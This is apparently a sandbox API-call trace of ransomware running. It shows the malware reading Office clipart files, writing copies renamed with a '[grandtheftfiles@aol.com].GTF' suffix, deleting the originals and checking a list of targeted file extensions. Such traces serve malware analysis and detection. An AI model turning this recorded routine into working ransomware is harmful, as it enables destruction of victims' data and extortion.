	[0090.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68
	[0090.445] lstrlenW (lpString=".jpg") returned 4
	[0090.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.445] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.445] lstrlenW (lpString="J0090783.WMF") returned 12
	[0090.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.446] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=6934) returned 1
	[0090.446] CloseHandle (hObject=0x368) returned 1
	[0090.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220
	[0090.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.446] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.446] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.447] GetLastError () returned 0x0
	[0090.447] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1b16, lpOverlapped=0x0) returned 1
	[0090.806] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0090.833] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.833] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.833] SetEndOfFile (hFile=0x334) returned 1
	[0090.834] CloseHandle (hObject=0x334) returned 1
	[0090.834] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.834] SetEndOfFile (hFile=0x368) returned 1
	[0090.834] CloseHandle (hObject=0x368) returned 1
	[0090.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1
	[0090.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.835] lstrlenW (lpString=".doc") returned 4
	[0090.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.835] lstrlenW (lpString=".docx") returned 5
	[0090.835] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0090.835] lstrlenW (lpString=".pdf") returned 4
	[0090.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.835] lstrlenW (lpString=".xls") returned 4
	[0090.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.835] lstrlenW (lpString=".xlsx") returned 5
	[0090.835] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0090.835] lstrlenW (lpString=".ppt") returned 4
	[0090.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.835] lstrlenW (lpString=".zip") returned 4
	[0090.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.835] lstrlenW (lpString=".rar") returned 4
	[0090.835] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.835] lstrlenW (lpString=".bz2") returned 4
	[0090.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.835] lstrlenW (lpString=".7z") returned 3
	[0090.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".dbf") returned 4
	[0090.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".1cd") returned 4
	[0090.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".jpg") returned 4
	[0090.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".doc") returned 4
	[0090.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString=".docx") returned 5
	[0090.836] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0090.836] lstrlenW (lpString=".pdf") returned 4
	[0090.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString=".xls") returned 4
	[0090.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.836] lstrlenW (lpString=".xlsx") returned 5
	[0090.836] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0090.836] lstrlenW (lpString=".ppt") returned 4
	[0090.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".zip") returned 4
	[0090.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.836] lstrlenW (lpString=".rar") returned 4
	[0090.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString=".bz2") returned 4
	[0090.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.836] lstrlenW (lpString=".7z") returned 3
	[0090.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.836] lstrlenW (lpString=".dbf") returned 4
	[0090.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.837] lstrlenW (lpString=".1cd") returned 4
	[0090.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68
	[0090.837] lstrlenW (lpString=".jpg") returned 4
	[0090.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.837] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.837] lstrlenW (lpString="J0099155.JPG") returned 12
	[0090.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.838] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=8826) returned 1
	[0090.838] CloseHandle (hObject=0x368) returned 1
	[0090.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0090.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.838] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.838] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.838] GetLastError () returned 0x0
	[0090.838] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x227a, lpOverlapped=0x0) returned 1
	[0090.841] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2280, lpOverlapped=0x0) returned 1
	[0090.842] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.842] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.842] SetEndOfFile (hFile=0x334) returned 1
	[0090.842] CloseHandle (hObject=0x334) returned 1
	[0090.842] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.842] SetEndOfFile (hFile=0x368) returned 1
	[0090.843] CloseHandle (hObject=0x368) returned 1
	[0090.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1
	[0090.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.843] lstrlenW (lpString=".doc") returned 4
	[0090.843] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.843] lstrlenW (lpString=".docx") returned 5
	[0090.844] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0090.844] lstrlenW (lpString=".pdf") returned 4
	[0090.844] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString=".xls") returned 4
	[0090.844] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString=".xlsx") returned 5
	[0090.844] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0090.844] lstrlenW (lpString=".ppt") returned 4
	[0090.844] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString=".zip") returned 4
	[0090.844] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString=".rar") returned 4
	[0090.844] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString=".bz2") returned 4
	[0090.844] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.844] lstrlenW (lpString=".7z") returned 3
	[0090.844] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString=".dbf") returned 4
	[0090.844] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString=".1cd") returned 4
	[0090.844] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString=".jpg") returned 4
	[0090.844] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.844] lstrlenW (lpString=".doc") returned 4
	[0090.844] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.844] lstrlenW (lpString=".docx") returned 5
	[0090.844] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0090.844] lstrlenW (lpString=".pdf") returned 4
	[0090.844] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.844] lstrlenW (lpString=".xls") returned 4
	[0090.845] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.845] lstrlenW (lpString=".xlsx") returned 5
	[0090.845] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0090.845] lstrlenW (lpString=".ppt") returned 4
	[0090.845] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.845] lstrlenW (lpString=".zip") returned 4
	[0090.845] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.845] lstrlenW (lpString=".rar") returned 4
	[0090.845] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.845] lstrlenW (lpString=".bz2") returned 4
	[0090.845] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.845] lstrlenW (lpString=".7z") returned 3
	[0090.845] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.845] lstrlenW (lpString=".dbf") returned 4
	[0090.845] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.845] lstrlenW (lpString=".1cd") returned 4
	[0090.845] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68
	[0090.845] lstrlenW (lpString=".jpg") returned 4
	[0090.845] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.845] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.845] lstrlenW (lpString="J0099156.JPG") returned 12
	[0090.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.846] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=13954) returned 1
	[0090.846] CloseHandle (hObject=0x368) returned 1
	[0090.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0090.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.846] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.846] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0090.846] GetLastError () returned 0x0
	[0090.846] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x3682, lpOverlapped=0x0) returned 1
	[0090.849] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0090.850] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.850] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.850] SetEndOfFile (hFile=0x334) returned 1
	[0090.851] CloseHandle (hObject=0x334) returned 1
	[0090.851] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.851] SetEndOfFile (hFile=0x368) returned 1
	[0090.852] CloseHandle (hObject=0x368) returned 1
	[0090.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0090.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.852] lstrlenW (lpString=".doc") returned 4
	[0090.852] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.852] lstrlenW (lpString=".docx") returned 5
	[0090.852] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0090.852] lstrlenW (lpString=".pdf") returned 4
	[0090.852] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.852] lstrlenW (lpString=".xls") returned 4
	[0090.852] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.852] lstrlenW (lpString=".xlsx") returned 5
	[0090.852] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0090.852] lstrlenW (lpString=".ppt") returned 4
	[0090.852] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".zip") returned 4
	[0090.853] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString=".rar") returned 4
	[0090.853] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString=".bz2") returned 4
	[0090.853] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.853] lstrlenW (lpString=".7z") returned 3
	[0090.853] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".dbf") returned 4
	[0090.853] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".1cd") returned 4
	[0090.853] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".jpg") returned 4
	[0090.853] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".doc") returned 4
	[0090.853] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.853] lstrlenW (lpString=".docx") returned 5
	[0090.853] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0090.853] lstrlenW (lpString=".pdf") returned 4
	[0090.853] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString=".xls") returned 4
	[0090.853] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString=".xlsx") returned 5
	[0090.853] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0090.853] lstrlenW (lpString=".ppt") returned 4
	[0090.853] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.853] lstrlenW (lpString=".zip") returned 4
	[0090.853] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.853] lstrlenW (lpString=".rar") returned 4
	[0090.853] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.854] lstrlenW (lpString=".bz2") returned 4
	[0090.854] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.854] lstrlenW (lpString=".7z") returned 3
	[0090.854] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.854] lstrlenW (lpString=".dbf") returned 4
	[0090.854] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0090.854] lstrlenW (lpString=".1cd") returned 4
	[0090.854] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
